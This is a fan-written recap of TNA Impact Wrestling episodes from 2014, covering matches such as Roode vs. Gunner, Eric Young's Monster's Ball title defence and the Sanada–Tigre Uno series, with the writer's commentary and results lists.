Bobby Roode promises to put Bully through a table at Sacrifice but tonight there’s an open challenge for a tables match.
 
Video on Sanada.
 
Kenny King is tired of being on the bench and says you don’t put an All Star on the bench. Tonight he’s doing commentary.
 
Tigre Uno vs. Sanada
 
This is the second match in the best of three series for Sanada’s X Title with Tigre Uno down 1-0. Feeling out process to start with neither guy getting the advantage. Sanada scores with a dropkick and they flip around to escape a test of strength. Tigre avoids a charge in the corner but misses a springboard splash. Sanada comes back with a springboard chop to the head and a TKO gets two. Tigre comes back by avoiding a charge and a Sabretooth Splash is enough for the pin at 3:26.
 
 
Bully gives an unseen person a pep talk before the tables match.
 
Bobby Roode vs. Gunner
 
It’s a tables match of course. A quick bulldog drops Gunner and it’s already table time. Gunner comes back with a baseball slide to stop the table before sending Roode into the steps. Gunner no sells being rammed into the corner but Bobby nails a Blockbuster. The table is set up in the ring but Rooe can’t powerbomb him through.
 
Gunner nails a running knee to the face but walks into a bad looking spinebuster. Roode escapes an F5 but gets headbutted onto the table. Gunner rams his own head into the buckle a few times, only to have James Storm make a save. It’s enough for Roode to slam Gunner onto the table befor ethe Roode Bomb is enough to break the table for the win at 6:15.
 
 
Bully Ray saves Gunner from a beatdown.
 
Some wrestlers talk about Eric Young winning the title.
 
Eric looks at weapons and says this was his idea because he’s the World Champion.
 
Post break Ray suggests teaming up with Gunner against Beer Money with Gunner accepting.
 
TNA World Title: Eric Young vs. Abyss
 
Monster’s Ball, meaning anything goes and of course Eric is defending. Eric throws a trashcan full of weapons into the ring to start and hits fifteen right hands to the head in the corner. Abyss comes back with a quick chokeslam attempt before launching the champion over the corner and out to the floor. Young fights back and heads inside, only to dive into a trashcan to the head as we go to a break.
 
Back with Abyss wedging a chair in the corner but Eric comes back with some big right hands and a running dropkick. Abyss catapults him into the chair to take over again before bringing in the bag of tacks. Young saves himself with a cheese grater to the groin and a running forearm to put Abyss down. Abyss pulls out Janice but it gets caught in the turnbuckle to avoid a bad case of death.
 
Eric kicks him low and gets Janice out of the buckle, only to be chokeslammed down onto the tacks. It’s barbed wire board time (because you just have that under the ring in case a Monster’s Ball match is booked on the fly) but Young escapes another chokeslam attempt with a bite of the fingers. A dropkick sends Abyss onto the board and the top rope elbow retains the title at 12:02.
 
 
 
Other than that I’m getting tired of the gimmick overload. Tonight we had five matches and one was a regular match. You could say the handicap match is a gimmick match as well, but even if you don’t there were three gimmick matches tonight. That’s just overkill on a two hour show and it got old fast.
 
Results
Madison Rayne b. Velvet Sky – Spear
Wolves b. Bro Mans via DQ when Zema Ion interfered
Willow b. Rockstar Spud/Ethan Carter III – Twist of Fate to Spud
Bobby Roode b. Gunner – Roode Bomb through a table
Eric Young b. Abyss – Top rope elbow

 

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Impact Wrestling – April 3, 2014: Filling Up The Russo Bingo Card

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Date: April 3, 2014
Location: Impact Zone, Orlando, Florida
Commentators: Mike Tenay, Tazz

The opening video is your standard recap of the four way for the title.

Bully Ray/Willow vs. Ethan Carter III/Bobby Roode

Mr. Anderson vs. Samuel Shaw

Sanada vs. Tigre Uno

We get more of Knux going back to see his dad about shutting down the family carnival. The dad invites him in and says Knux was supposed to take all this stuff over. Knux says his dad always told him to do what he dreamed of but now dad wants him to come back here and keep things going to help a lot of people. Knux agrees to stay for a few days.

Beautiful People vs. Brittany/Madison Rayne

Brittany starts with Love and scores with some early armdrags and a bad looking slam. Off to Velvet who charges into an elbow but trips Brittany to the mat. A double Beautiful Elbow gets two for Angelina as Tenay plugs the Bellator show. The Beautiful People double team Brittany for a bit until she takes Love down and makes the hot tag to Rayne. Brittany tags herself back in for no apparent reason as everything breaks down. A quick double kick from the Beautiful People (called the Makeover) is enough to pin Brittany at 4:03.

Kenny King vs. MVP

This is an exhibition match, which will be explained later I assume. They shake hands to start and MVP puts on a wristlock. King escapes and stands on the buckle for a bit as this is slow paced to start. They trade wristlocks and hammerlocks until King grabs a headlock. MVP trips King down and puts on an STF but lets it go for no apparent reason.

Kenny takes him down again before flipping up to his feet for some posing. We get some chain wrestling on the mat into a front facelock from MVP as the fans chant YOU STILL GOT IT. They finally start throwing punches and it turns into a scrap on the mat until the bell rings for no apparent reason at 5:22.

MVP jumps King in the back.

TNA World Title: Samoa Joe vs. Eric Young vs. Magnus vs. Abyss

Next week: The Wrath of Dixie. Oh joy.

Results

Bobby Roode/Ethan Carter III b. Willow/Jeff Hardy – Spinebuster to Ray through a table

Samuel Shaw b. Mr. Anderson – Shaw put Anderson in the straitjacket

Sanada b. Tigre Uno – Tiger suplex

Beautiful People b. Brittany/Madison Rayne – Makeover to Brittany

MVP vs. Kenny King went to a no contest

Magnus b. Abyss, Eric Young and Samoa Joe – Top rope elbow to Young

 

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